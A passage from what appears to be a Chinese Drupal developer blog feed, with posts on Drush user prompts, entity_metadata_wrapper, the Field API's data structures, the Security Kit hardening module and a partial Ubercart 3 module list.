&lt;p&gt;在这个教程中，我们会演示如何在这些命令中获取用户反馈。这里我不会提到参数或选项之类的东西。这里主要讲述的是，如何获取一个是或否的确认，或者如何提示用户进行一个选择。另外，我们也会说说如何获取用户输入的文本。&lt;/p&gt;

&lt;p&gt;首先让我们看一下*drush_module_name_example_command()*这个回调函数：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;  /**
   * Callback function for the example command
   */
  function drush_module_name_example_command() {
    // Command code we will look at
    drush_print(&#39;Hello world!&#39;);
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;##确认&lt;/p&gt;

&lt;p&gt;首先我们要试验的是如何获取用户的确认。在我们的例子中，我们会请用户确认是否显示内容，可以用Drush API这样实现：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;if (drush_confirm(&#39;Are you sure you want \&#39;Hello world\&#39; printed to the screen?&#39;)) {
  drush_print(&#39;Hello world!&#39;);
}
else {
  drush_user_abort();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里有两个新函数：*drush_confirm()*这个函数显示一个问题，并尝试从用户合理获取&lt;strong&gt;y&lt;/strong&gt;或者&lt;strong&gt;n&lt;/strong&gt;的反馈。如果回复是&lt;strong&gt;y&lt;/strong&gt;，这个函数会返回&lt;strong&gt;true&lt;/strong&gt;，意味着我们输出的提示获得了确认；如果回应是&lt;strong&gt;n&lt;/strong&gt;，会调用*drush_user_abort()*。这也是推荐的中止Drush命令的方式。&lt;/p&gt;

&lt;p&gt;##选项&lt;/p&gt;

&lt;p&gt;接下来我们来看看，如何让用户从一系列列表中进行选择。在我们的超级例子Hello World中，我们将给用户提供一系列的选择，让用户决定Drush对谁说Hello。代码实现如下：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$options = array(
 &#39;world&#39; =&amp;gt; &#39;World&#39;,
 &#39;univers&#39; =&amp;gt; &#39;Univers&#39;,
 &#39;planet&#39; =&amp;gt; &#39;Planet&#39;,
);

$choice = drush_choice($options, dt(&#39;Who do you want to say hello to?&#39;));

if ($choice) {
  drush_print(dt(&#39;Hello @choice!&#39;, array(&#39;@choice&#39; =&amp;gt; $options[$choice])));
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的代码是做什么的呢？首先，我们创建了一个用于保存选项的*$options*数组。这个数组的键和值分别是选项的机器名称和描述。然后我们调用*drush_choice()&lt;em&gt;，两个参数分别是上面的&lt;/em&gt;$option*和用于提示用户的问题。&lt;/p&gt;

&lt;p&gt;当命令运行时，这个函数会返回用户选择项目的代码。接下来我们判断这个值是否存在，然后输出这个字符串。我们利用$option数组获取到用户选择内容。&lt;/p&gt;

&lt;p&gt;##用户输入内容&lt;/p&gt;

&lt;p&gt;第三种输入是自由输入的文本。当然这类内容的输入应该进行更加严格的校验，防止恶意输入影响系统。下面我们提示用户来输入他想要问好的目标：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$value = drush_prompt(dt(&#39;Who do you want to say hello to?&#39;));

drush_print(dt(&#39;Hello @value!&#39;, array(&#39;@value&#39; =&amp;gt;  $value)));
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个例子非常简单。当命令运行时，*drush_prompt()*函数会在终端显示我们输入的字符串。返回值由用户输入，接下来我们会输出这个返回值。不过请注意这只是示例代码，在真正使用这一功能时，请对用户的输入进行严格的检查。&lt;/p&gt;

&lt;p&gt;##结论&lt;/p&gt;

&lt;p&gt;这里介绍了三种不同的获取用户输入的Drush。前两种属于最常用的方式，第三种也有他的用武之地。当然——注意安全！&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>entity_metadata_wrapper极简说明</title>
      <link>/post/drupal-entity_metadata_wrapper-simple-guide/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-entity_metadata_wrapper-simple-guide/</guid>
      <description>&lt;p&gt;你熟悉&lt;code&gt;entity_metadata_wrapper&lt;/code&gt;么？如果不熟悉，那么赶快补课吧。&lt;/p&gt;

&lt;p&gt;Entity Metadata Wrapper(实体元数据封装)，在模块开发过程中对Field的操作来说，是最正确，也是最简单的方式。没错，在CCK年代，我们对Node中Field的操作熟练无比，不过现在看来，那些代码真的很邋遢。&lt;/p&gt;

&lt;p&gt;##干净的代码！&lt;/p&gt;

&lt;p&gt;以前是：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$first_name = &#39;&#39;;
if (!empty($node-&amp;gt;field_first_name)) {
  $name = $node-&amp;gt;field_first_name[LANGUAGE_NONE][0][&#39;value&#39;];
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;现在可以把它浓缩成这样：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$node_wrapper = entity_metadata_wrapper(&#39;node&#39;, $node);
$first_name = $node_wrapper-&amp;gt;field_first_name-&amp;gt;value();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;entity_metadata_wrapper&lt;/code&gt;这个好长的单词有点点吓人，不过他的确让代码干净了。如果要处理一个实体引用字段，或者文件字段，只要这样子：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$image = $node_wrapper-&amp;gt;field_image-&amp;gt;value();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;引用字段在这里已经载入成为了对象，而不只是一个FID了。&lt;/p&gt;

&lt;p&gt;##实体引用的处理：比干净还干净！&lt;/p&gt;

&lt;p&gt;假设你有两种Node类型：员工和部门。员工Node中有一个指向部门的实体引用字段，部门Node又一个叫做&lt;code&gt;field_dept_phone&lt;/code&gt;的字段保存了部门的电话号码（为了行文方便，我们假设部门字段是必填的）。&lt;/p&gt;

&lt;p&gt;如果拿到一个员工Node，如何取到电话号码呢？&lt;/p&gt;

&lt;p&gt;高难度动作：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$phone = &#39;&#39;;
$department = node_load($employee-&amp;gt;field_employee_dept[LANGUAGE_NONE][0]
[&#39;target_id&#39;]);
if ($department &amp;amp;&amp;amp; !empty($department-&amp;gt;field_dept_phone[LANGUAGE_NONE][0]
[&#39;value&#39;])) {
  $phone = $department-&amp;gt;field_dept_phone[LANGUAGE_NONE][0][&#39;value&#39;];
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Wrapper的办法：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$wrapper = entity_metadata_wrapper(&#39;node&#39;, $employee);
$phone = $wrapper-&amp;gt;field_employee_dept-&amp;gt;field_dept_phone-&amp;gt;value();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;##然后？&lt;/p&gt;

&lt;p&gt;嗯，这个帖子并不是想做一个完整的&lt;code&gt;entity metadata wrapper&lt;/code&gt;教学。如果上面的描述吸引了你，请花15分钟来完成下面的事情：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;下载&lt;a href=&#34;DownloadEntityAPIfromhttp://drupal.org/project/entity&#34; target=&#34;_blank&#34;&gt;Entity API&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;阅读&lt;a href=&#34;https://drupal.org/node/1021556&#34; target=&#34;_blank&#34;&gt;Entity metadata wrappers&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;你的生活质量代码质量同步上升。。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Field API</title>
      <link>/post/drupal-field-api/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-field-api/</guid>
      <description>&lt;p&gt;利用Field API可以把字段附加到Drupal实体中，并提供了对字段数据的存储、载入、编辑以及渲染支持。Field API能把包括Node、User在内的任何实体变得“字段化”，也就是说可以把字段附加在实体之上。其他模块可以提供基于用户界面，可以通过浏览器来管理各种数据类型的字段，Form元素以及显示兼容性等。&lt;/p&gt;

&lt;p&gt;Field API定义了两个重要的数据结构：Field（字段）和Instance（字段实例），以及一个重要的概念：Bundle。字段定义了可以附加到实体智商的数据类型。字段实例是一个附加到一个Bundle上的字段。一个Bundle是一系列的用Field Attach API组织起来的字段集合，并且这一集合会被附加到一个字段化的实体之上。&lt;/p&gt;

&lt;p&gt;例如，站点管理员希望文章类型的Node具有次标题和照片。利用Field API或者Field UI模块，管理员创建了一个类型为&amp;rsquo;text&amp;rsquo;的名称为&amp;rsquo;次标题&amp;rsquo;的字段，以及一个&amp;rsquo;image&amp;rsquo;类型的名为&amp;rsquo;照片&amp;rsquo;的字段。接下来在界面上建立两个字段实例，两个实例分别将次标题和照片字段附加到Node类型的文章Bundle上。当Node系统利用Field Attach API来载入一个文章的所有字段时，因为前面已经将副标题和照片两个字段同Node实体的Article Bunle进行了绑定，会将Node的实体类型（node），内容类型（article）作为Bundle作为参数，&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.attach.inc/function/field_attach_load/7.x&#34; target=&#34;_blank&#34;&gt;field_attach_load()&lt;/a&gt;会载入这两个字段。&lt;/p&gt;

&lt;p&gt;##字段的定义以键值对数组的形式来表达。&lt;/p&gt;

&lt;p&gt;array $field:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;id(整形，只读)&lt;/strong&gt;：字段的主键，由&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.crud.inc/function/field_create_field/7.x&#34; target=&#34;_blank&#34;&gt;field_create_field()&lt;/a&gt;自动生成。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;field_name(字符串，最大长度32)&lt;/strong&gt;：字段的名称，每个字段名都是唯一的。当字段被附加到实体之后，会用$entity-&amp;gt;$field_name的形式进行存储。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;type(字符串)：&lt;/strong&gt;：字段的类型，例如“文本”或者“图片”。字段类型是由定义字段的模块在&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.api.php/function/hook_field_info/7.x&#34; target=&#34;_blank&#34;&gt;hook_field_info&lt;/a&gt;中实现的。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;entity_types(数组)&lt;/strong&gt;：允许挂接该字段的Entity类型列表，如果没有指定，那么该字段可以附加到任何类型的实体上。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;cardinality(整数)&lt;/strong&gt;：字段中可以存储的值的数量。取值范围为任何正整数或&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.module/constant/FIELD_CARDINALITY_UNLIMITED/7.x&#34; target=&#34;_blank&#34;&gt;FIELD_CARDINALITY_UNLIMITED&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;translatable(整数)&lt;/strong&gt;：该字段是否可翻译。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;locked(整数)&lt;/strong&gt;：该字段是否可以编辑，如果是TRUE，则用户无法设置该字段，也无法创建新实例。缺省为False。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;module(字符串，只读)&lt;/strong&gt;：实现该Field的模块名称。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;active(整数，只读)&lt;/strong&gt;：如果实现该字段的模块处于启用状态，则该值为真。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;deleted(整数，只读)&lt;/strong&gt;：是否被删除。被删除的字段会被Field Attach API忽略，这个属性的存在是因为字段一般只是被标记为删除，仅有在垃圾收集过程中才真正删除。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;columns(数组，只读)&lt;/strong&gt;：一个字段的值可能包含多个列，每个字段包含的列可能都不同。Field API中的列类似Schema API中的列，但这并不代表这两者一定是一一对应的，这要看字段的存储方法的具体实现。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;indexes(数组)&lt;/strong&gt;：数据列的索引数组，格式同Schema API的索引定义相同。只有出现在columns中的列才可以用在索引数组中。另外字段类型创建时可以定义缺省索引，并且在创建该字段类型的字段时，对索引进行修改或添加。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;foreign keys(可选)&lt;/strong&gt;：一个关系数组，同Schema的外键定义一致。这个成员的作用是非常优先的，因为你不能指定另外一个Field作为外键，只能指定数据表作为外键的关联目标。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;settings(数组)&lt;/strong&gt;：字段类型所属的一个键值对列表。每个字段类型的实现模块会定义实现自己的字段设置。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;storage(数组)&lt;/strong&gt;：一个键值对数组用于指定该字段的存储后端：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;*type(字符串)*：在&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.api.php/function/hook_field_storage_info/7.x&#34; target=&#34;_blank&#34;&gt;hook_field_storage_info&lt;/a&gt;中定义的后端存储。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*module(字符串，只读)*：实现后端存储的模块名称。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*active(整数，只读)*：存储后端是否可用。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*settings(数组)*：每个后端存储都有自己的配置键值对数组。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##字段实例的定义也是用键值对数组来实现的&lt;/p&gt;

&lt;p&gt;array $instance:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;id(整数：只读)&lt;/strong&gt;：字段实例的主键，由&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.crud.inc/function/field_create_instance/7.x&#34; target=&#34;_blank&#34;&gt;field_create_instance()&lt;/a&gt;自动生成。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;field_id(整数，只读)&lt;/strong&gt;：指向这一实例的字段的外键，由&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.crud.inc/function/field_create_instance/7.x&#34; target=&#34;_blank&#34;&gt;field_create_instance()&lt;/a&gt;自动创建。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;entity_type(字符串)&lt;/strong&gt;：实例所绑定的Bundle的名称。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;label(字符串)&lt;/strong&gt;：当字段同一个Bundle进行绑定时的一个可读的标签，例如，一个字段实例可能成为一个Form API元素的标题。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;description(字符串)&lt;/strong&gt;：同Label类似，在实例被绑定到Form时候，可能以Help文本的形式出现。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;required(整数)&lt;/strong&gt;：字段实例被绑定到Bundle上的时候，是否是必填字段。目前为止，这一属性仅在同Form API协同工作时生效，对于&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.attach.inc/function/field_attach_load/7.x&#34; target=&#34;_blank&#34;&gt;field_attach_load&lt;/a&gt;, &lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.attach.inc/function/field_attach_insert/7.x&#34; target=&#34;_blank&#34;&gt;field_attach_insert&lt;/a&gt;以及&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.attach.inc/function/field_attach_update/7.x&#34; target=&#34;_blank&#34;&gt;field_attach_update&lt;/a&gt;是无效的。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;default_value_function(字符串)&lt;/strong&gt;：如果该名称指定的函数存在的话，会为该实例提供一个缺省值。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;default_value(数组)&lt;/strong&gt;：如果default_value_function不存在，可以在这里指定缺省值。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;delted(整数，只读)&lt;/strong&gt;：字段实例的删除标志。被标记删除的实例会被Field Attach API忽略。同字段的情况一样，字段实例的删除也只是做一个删除标记，随垃圾收集完成真正的删除。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;settings(数组)&lt;/strong&gt;：继承字段类型的设置值。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;widget(数组)&lt;/strong&gt;：用键值对数组的形式，为这一绑定到Bundle的实例指定Form API的输入插件。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;*type(字符串)*：插件类型，例如text_textfield。插件类型由相应模块的&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.api.php/function/hook_field_widget_info/7.x&#34; target=&#34;_blank&#34;&gt;hook_field_widget_info()&lt;/a&gt;定义。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*settings(数组)*：插件自身的设置，每个字段插件类型模块都会定义自己的设置。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*weight(浮点数)*：该插件在编辑窗体中的权重。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*module(字符串，只读)*：实现这一插件的模块名称。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;dispaly(数组)&lt;/strong&gt;：用键值对数组的形式，指定字段值在实体的各种非取胜视图模式下的展示方式。在每一种视图模式下，Field UI让管理员可以在新建字段的时候，定义是否只定义一个缺省的显示方式来减少管理工作。在新装站点的情况下，Node只有在&amp;rsquo;teaser&amp;rsquo;模式下又一个自定义显示，其他的所有视图都定义使用缺省方式显示。当用变成方式把一个字段实例添加到node的时候，至少为缺省和&amp;rsquo;teaser&amp;rsquo;两种模式指定显示方式：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;*default(字符串)*：用键值对数组来描述该字段在没有指定独立显示选项的情况下的显示方式。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;*label(字符串)*：标签的显示方式，缺省的字段主题能支持的包括行内、上方、下方或是隐藏。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*type(字符串)*：显示格式器的类型，或者用&amp;rsquo;hidden&amp;rsquo;来隐藏。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*settings(数组)*：格式器的配置键值数组。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*weight(浮点数)*：在该视图下的字段显示权重。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*module(字符串，只读)*：实现该格式器的模块。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*其他模式*：同default类似，用同样的格式类定义在“其他模式”的视图中的显示。这些选项只有在运行时使用非缺省模式的情况下才会生效。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;字段实例的渲染数组在&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.attach.inc/function/field_attach_view/7.x&#34; target=&#34;_blank&#34;&gt;field_attach_view()&lt;/a&gt;文档中有描述。&lt;/p&gt;

&lt;p&gt;Bundle取决于两个字符串，实体类型和bundle名称。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.api.php/group/field_types/7.x&#34; target=&#34;_blank&#34;&gt;Field Types API&lt;/a&gt;&lt;/strong&gt;：定义了字段类型，插件类型，以及显示格式器。字段模块利用这个API来把文本或Node引用这样的字段同显示格式器以及form元素关联起来。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.crud.inc/group/field_crud/7.x&#34; target=&#34;_blank&#34;&gt;Field CRUD API&lt;/a&gt;&lt;/strong&gt;：对字段、字段实例和bundles进行增删改查，模块一般在&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21system%21system.api.php/function/hook_install/7.x&#34; target=&#34;_blank&#34;&gt;hook_install()&lt;/a&gt;中使用这些API来创建自定义数据结构。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.attach.inc/group/field_attach/7.x&#34; target=&#34;_blank&#34;&gt;Field Attach API&lt;/a&gt;&lt;/strong&gt;：把实体类型和字段API连接起来。这一组API为连接到实体上的字段数据提供载入、存储、生成From、显示和一些其他操作。Node之类的“字段化”的实体利用这些API使得自身能够被Field挂载。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.info.inc/group/field_info/7.x&#34; target=&#34;_blank&#34;&gt;Field Info API&lt;/a&gt;&lt;/strong&gt;：向外提供所有字段、实例、插件的相关信息。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.attach.inc/group/field_storage/7.x&#34; target=&#34;_blank&#34;&gt;Field Storage API&lt;/a&gt;&lt;/strong&gt;：为字段数据提供一个可插接的存储后端系统。缺省的实现是&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21modules%21field_sql_storage%21field_sql_storage.module/7.x&#34; target=&#34;_blank&#34;&gt;field_sql_storage.module&lt;/a&gt;，其中利用SQL数据库实现字段数据的存储。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.crud.inc/group/field_purge/7.x&#34; target=&#34;_blank&#34;&gt;Field API bulk data deletion&lt;/a&gt;&lt;/strong&gt;：清理由&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.crud.inc/function/field_delete_field/7.x&#34; target=&#34;_blank&#34;&gt;field_delete_field()&lt;/a&gt;和&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.crud.inc/function/field_delete_instance/7.x&#34; target=&#34;_blank&#34;&gt;field_delete_instance&lt;/a&gt;批量删除操作后的数据。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.multilingual.inc/group/field_language/7.x&#34; target=&#34;_blank&#34;&gt;Field language API&lt;/a&gt;&lt;/strong&gt;：为Field API提供多语言支持。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Security Kit模块</title>
      <link>/post/drupal-security-kit-module/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-security-kit-module/</guid>
      <description>&lt;p&gt;该模块为Drupal提供了大量的安全加固选项，能降低Web应用被攻击的风险。&lt;/p&gt;

&lt;p&gt;##跨域脚本&lt;/p&gt;

&lt;p&gt;通过IE和Firefox的X-Content-Security-Policy、Chrome和Safari的X-WebKit-CSP以及Content-Security-Policy（官方名称）的HTTP响应头，来实现内容安全策略。其中包含配置页面，并且对违反CSP的访问记录到Watchdog。&lt;/p&gt;

&lt;p&gt;Internet Explorer/Apple Safari/Google Chrome提供了内置的&lt;a href=&#34;http://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC&#34; target=&#34;_blank&#34;&gt;XSS&lt;/a&gt;过滤功能，利用XSS-Protection这一HTTP响应头来进行控制浏览器的这些功能。&lt;/p&gt;

&lt;p&gt;修复Drupal 6的&lt;a href=&#34;http://drupal.org/node/803430&#34; target=&#34;_blank&#34;&gt;上传问题&lt;/a&gt;，Drupal 7的上传功能合并到了FileField中，所有D7版本没有这一选项。&lt;/p&gt;

&lt;p&gt;在HTTP响应头中添加X-Content-Type-Options: nosniff，阻止服务器提供错误的MIME类型和浏览器的&lt;a href=&#34;http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx&#34; target=&#34;_blank&#34;&gt;upsniff&lt;/a&gt;行为。&lt;/p&gt;

&lt;p&gt;##跨站点请求伪造&lt;/p&gt;

&lt;p&gt;在HTTP请求头中加入&lt;a href=&#34;http://tools.ietf.org/id/draft-abarth-origin-03.html&#34; target=&#34;_blank&#34;&gt;Origin&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;##点击劫持
&lt;a href=&#34;http://en.wikipedia.org/wiki/Clickjacking&#34; target=&#34;_blank&#34;&gt;参考资料&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;实现了X-Frame-Options的HTTP响应头。&lt;/p&gt;

&lt;p&gt;结合JavaScript + CSS + Noscript，用于提供禁止JavaScript的自定义消息提示。&lt;/p&gt;

&lt;p&gt;##SSL/TLS&lt;/p&gt;

&lt;p&gt;实现了&lt;a href=&#34;http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security&#34; target=&#34;_blank&#34;&gt;HTTP Strict Transport Security头&lt;/a&gt;（强制要求使用https &amp;ndash;译者注），用于防止&lt;a href=&#34;http://zh.wikipedia.org/wiki/%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB&#34; target=&#34;_blank&#34;&gt;中间人攻击&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;##杂项&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.w3.org/TR/from-origin/#introduction&#34; target=&#34;_blank&#34;&gt;From-Origin&lt;/a&gt;响应头（用于保障页面中嵌入的资源来源于受控范围）。&lt;/p&gt;

&lt;p&gt;##文档&lt;/p&gt;

&lt;p&gt;所有必要的文档和例子都可以在该模块的配置页面中找到，你还可以在&lt;a href=&#34;http://www.browserscope.org/?category=security&#34; target=&#34;_blank&#34;&gt;http://www.browserscope.org/?category=security&lt;/a&gt;中查看浏览器当前的支持状态。&lt;/p&gt;

&lt;p&gt;##已知问题&lt;/p&gt;

&lt;p&gt;CSP报告在Chrome浏览器中不可用，Chrome在Menu返回403的情况下不会设置Cookie。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Ubercart 3 模块列表</title>
      <link>/post/ubercart-3-module-list/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/ubercart-3-module-list/</guid>
      <description>&lt;p&gt;我编写了一个Ubercart 3兼容的模块列表，对于这其中列出的模块，我没有做一个完整的测试，这个工作太庞大了。另外也请注意，有些模块可能还在开发状态，可能并未完成甚至是刚刚启动。&lt;/p&gt;

&lt;p&gt;如果有我漏记的模块，请补充到本页面中。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_adyen&#34; target=&#34;_blank&#34;&gt;Adyen Ubercart支付&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块提供了对Adyen支付的支持。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/agreservations&#34; target=&#34;_blank&#34;&gt;Agreservations&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这一模块用于处理预订过程的资源保留。（例如车，房间等可按时间以及日期进行订购的商品——译者注）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/ajaxblocks&#34; target=&#34;_blank&#34;&gt;Ajax Blocks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在载入一个被其他匿名用户完整缓存的页面之后，用AJAX请求来完成Block的加载。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_alipay&#34; target=&#34;_blank&#34;&gt;Alipay&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;你懂的。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/ubercart_attribute_stock&#34; target=&#34;_blank&#34;&gt;Attribute Stock&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块同商品属性协同工作，可以将属性组合和库存结合起来进行管理。&lt;/p&gt;

&lt;ul&gt;
